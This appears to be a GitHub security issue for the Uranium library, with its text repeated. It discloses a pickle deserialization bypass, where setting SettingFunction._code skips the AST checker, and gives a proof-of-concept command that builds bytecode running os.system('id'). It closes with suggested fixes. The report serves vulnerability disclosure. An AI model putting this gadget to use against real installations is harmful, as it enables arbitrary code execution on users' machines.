You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
I found a gadget in UM.Settings.SettingFunction.SettingFunction.
First thing we need to know is that pickle is not only able to call a function, but also can set attribute to any object. So we can modify the _code attribute of SettingFunction instance, then it'll get compiled and eval without checked by the ast checker (_SettingExpressionVisitor).
Bytecode is generated by command: python pickora.py -c "from UM.Settings.DefinitionContainer import DefinitionContainer; from UM.Settings.SettingFunction import SettingFunction; s = SettingFunction('1'); s._valid = True; s._code = '__import__(\"os\").system(\"id\")'; s(DefinitionContainer('dummy'))"
The Proper Way?
Check the safe_globals more strictly (?)
Or just for this case, maybe we should also check the _code attribute by _SettingExpressionVisitor when __setstate__ .
The text was updated successfully, but these errors were encountered:
Overview
We have a
DefinitionContainerUnpickler
to provide a safe way to deserialize. But the whitelist seems not really safe and basically bypassable.How to Bypass (PoC)
It allows several classes here, it checks strictly but still have a gadgets there:
Uranium/UM/Settings/DefinitionContainerUnpickler.py
Lines 3 to 10 in 851c722
I found a gadget in
UM.Settings.SettingFunction.SettingFunction
.First thing we need to know is that pickle is not only able to call a function, but also can set attribute to any object. So we can modify the
_code
attribute ofSettingFunction
instance, then it'll get compiled and eval without checked by the ast checker (_SettingExpressionVisitor
).Uranium/UM/Settings/SettingFunction.py
Lines 155 to 157 in 851c722
Here is a pseudocode for pickle:
I use my toy compiler to generate the pickle bytecode. Exploits should execute a Python code:
__import__('os').system('id')
.PoC:
Bytecode is generated by command:
python pickora.py -c "from UM.Settings.DefinitionContainer import DefinitionContainer; from UM.Settings.SettingFunction import SettingFunction; s = SettingFunction('1'); s._valid = True; s._code = '__import__(\"os\").system(\"id\")'; s(DefinitionContainer('dummy'))"
The Proper Way?
Check the
safe_globals
more strictly (?)Or just for this case, maybe we should also check the
_code
attribute by_SettingExpressionVisitor
when__setstate__
.The text was updated successfully, but these errors were encountered: